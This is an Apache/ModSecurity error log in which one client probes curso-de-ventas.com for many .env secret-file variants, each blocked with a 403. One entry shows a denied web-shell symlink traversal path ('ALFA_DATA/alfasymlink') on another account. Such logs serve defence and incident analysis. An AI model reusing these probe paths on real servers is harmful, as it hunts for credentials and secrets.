[Sun Oct 25 07:43:23.605724 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "at3rWwYPMfHr0EMMDlnl4AAAABM"]
[Sun Oct 25 07:43:23.606036 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.production"] [unique_id "at3rWwYPMfHr0EMMDlnl4AAAABM"]
[Sun Oct 25 07:43:23.726180 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at3rWwYPMfHr0EMMDlnl4QAAABM"]
[Sun Oct 25 07:43:23.726461 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at3rWwYPMfHr0EMMDlnl4QAAABM"]
[Sun Oct 25 07:43:23.726831 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at3rWwYPMfHr0EMMDlnl4QAAABM"]
[Sun Oct 25 07:43:23.726890 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at3rWwYPMfHr0EMMDlnl4QAAABM"]
[Sun Oct 25 07:43:23.726906 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/.env.staging"] [unique_id "at3rWwYPMfHr0EMMDlnl4QAAABM"]
[Sun Oct 25 07:43:23.888520 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "at3rWwYPMfHr0EMMDlnl4gAAABM"]
[Sun Oct 25 07:43:23.888896 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "at3rWwYPMfHr0EMMDlnl4gAAABM"]
[Sun Oct 25 07:43:23.889322 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "at3rWwYPMfHr0EMMDlnl4gAAABM"]
[Sun Oct 25 07:43:24.020818 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "at3rXAYPMfHr0EMMDlnl4wAAABM"]
[Sun Oct 25 07:43:24.021059 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "at3rXAYPMfHr0EMMDlnl4wAAABM"]
[Sun Oct 25 07:43:24.021369 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.test"] [unique_id "at3rXAYPMfHr0EMMDlnl4wAAABM"]
[Sun Oct 25 07:43:24.192358 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.remote"] [unique_id "at3rXAYPMfHr0EMMDlnl5AAAABM"]
[Sun Oct 25 07:43:24.192710 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.remote"] [unique_id "at3rXAYPMfHr0EMMDlnl5AAAABM"]
[Sun Oct 25 07:43:24.193185 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.remote"] [unique_id "at3rXAYPMfHr0EMMDlnl5AAAABM"]
[Sun Oct 25 07:43:24.429174 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "at3rXAYPMfHr0EMMDlnl5QAAABM"]
[Sun Oct 25 07:43:24.429439 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "at3rXAYPMfHr0EMMDlnl5QAAABM"]
[Sun Oct 25 07:43:24.429862 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "at3rXAYPMfHr0EMMDlnl5QAAABM"]
[Sun Oct 25 07:43:24.559585 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "at3rXAYPMfHr0EMMDlnl5gAAABM"]
[Sun Oct 25 07:43:24.559887 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "at3rXAYPMfHr0EMMDlnl5gAAABM"]
[Sun Oct 25 07:43:24.560217 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "at3rXAYPMfHr0EMMDlnl5gAAABM"]
[Sun Oct 25 07:43:24.810162 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "at3rXAYPMfHr0EMMDlnl5wAAABM"]
[Sun Oct 25 07:43:24.810517 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "at3rXAYPMfHr0EMMDlnl5wAAABM"]
[Sun Oct 25 07:43:24.810966 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.save"] [unique_id "at3rXAYPMfHr0EMMDlnl5wAAABM"]
[Sun Oct 25 07:43:24.941215 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "at3rXAYPMfHr0EMMDlnl6AAAABM"]
[Sun Oct 25 07:43:24.941467 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "at3rXAYPMfHr0EMMDlnl6AAAABM"]
[Sun Oct 25 07:43:24.941844 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.old"] [unique_id "at3rXAYPMfHr0EMMDlnl6AAAABM"]
[Sun Oct 25 07:43:25.291239 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "at3rXQYPMfHr0EMMDlnl6QAAABM"]
[Sun Oct 25 07:43:25.291569 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "at3rXQYPMfHr0EMMDlnl6QAAABM"]
[Sun Oct 25 07:43:25.291873 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.sample"] [unique_id "at3rXQYPMfHr0EMMDlnl6QAAABM"]
[Sun Oct 25 07:43:25.406395 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "at3rXQYPMfHr0EMMDlnl6gAAABM"]
[Sun Oct 25 07:43:25.406665 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "at3rXQYPMfHr0EMMDlnl6gAAABM"]
[Sun Oct 25 07:43:25.406963 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "at3rXQYPMfHr0EMMDlnl6gAAABM"]
[Sun Oct 25 07:43:25.664364 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "at3rXQYPMfHr0EMMDlnl6wAAABM"]
[Sun Oct 25 07:43:25.664610 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "at3rXQYPMfHr0EMMDlnl6wAAABM"]
[Sun Oct 25 07:43:25.664926 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "at3rXQYPMfHr0EMMDlnl6wAAABM"]
[Sun Oct 25 07:43:25.815064 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "at3rXQYPMfHr0EMMDlnl7AAAABM"]
[Sun Oct 25 07:43:25.815307 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "at3rXQYPMfHr0EMMDlnl7AAAABM"]
[Sun Oct 25 07:43:25.815602 2026] [security2:error] [pid 2815605:tid 2815605] [client 34.17.103.169:38746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.prod"] [unique_id "at3rXQYPMfHr0EMMDlnl7AAAABM"]
[Sun Oct 25 07:43:30.796055 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 23.23.104.107:62093] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/new_id
[Sun Oct 25 07:43:42.998134 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 23.23.213.182:43294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:43:46.910113 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.147.182.90:36299] AH02013: coalesce failed to read from data bucket
